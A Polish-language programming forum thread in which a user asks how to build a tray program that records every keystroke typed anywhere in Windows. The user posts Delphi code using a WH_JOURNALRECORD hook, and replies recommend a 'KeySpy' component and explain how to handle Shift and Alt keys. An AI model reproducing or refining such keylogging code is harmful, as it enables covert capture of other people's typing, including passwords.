Przechwytywanie klawiszy

0

Cześć!! Mam problem:

chcĘ zrobić programik który będzie sobie siedział w Trayu i przechwytywał wszystkie naciskane klawisze w całej windzie. Np ktoś będzie pisał w notatniku a w moim programiku wszystko będzie rejestrowane!

Próbowałem czegoś takiego:

implementation

var
Hook:Integer;
MessageBuffer:TEventMsg;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of

HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message=WM_KEYUP then begin
Form1.Memo1.Text:=Form1.Memo1.Text+ chr(MessageBuffer.paraml);
Result:=0;
end;

else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

end.

to działa ale zwraca tylko duże litery a jak wcisnę np: Shift czy Alt wstawia jakieś dziwne znaki!

;( Help ;(

0

Użyj komponentu KeySpy.... {brawo}

0

Aha ten powyzszy programik co napisales dzialal by tak jak chcesz, alu musialbys porobic petle zwiaza z nacisnieciem klawisza czyli wykryl tam jakas liczbe chr to zeby dospisal np 'LEWY SHIFT' itd...tylko to trochu roboty jest! Wiem bo robilem to sam! :)

0

OnoMaTO napisał:
Użyj komponentu KeySpy.... {brawo}

Skąd wziąć taki komponent? hmm...

Z góry dziękuję za odpowiedź :-)

0

Dave napisał:
OnoMaTO napisał:

Użyj komponentu KeySpy.... {brawo}

Skąd wziąć taki komponent? hmm...

Z góry dziękuję za odpowiedź :-)

Na tej stronie w dziale kody źródłowe>delphi>komponenty !

0

Co do keyspy to u mnie po zainstalowaniu, jak chce go dać na forme to wyskakuje jakiś błąd i wkoncu zwiesza Delphi :( (?)--Delphi 6

0

ReNe napisał:
Co do keyspy to u mnie po zainstalowaniu, jak chce go dać na forme to wyskakuje jakiś błąd i wkoncu zwiesza Delphi :( (?)

--
Delphi 6

Musisz skompilować i uruchomić spoza delphi lub jak urychomisz F9
kliknij prawym na delphi na belce windy a potem przejdż do KeyspayDemo !

Mi to pomogło :-)

1 użytkowników online, w tym zalogowanych: 0, gości: 1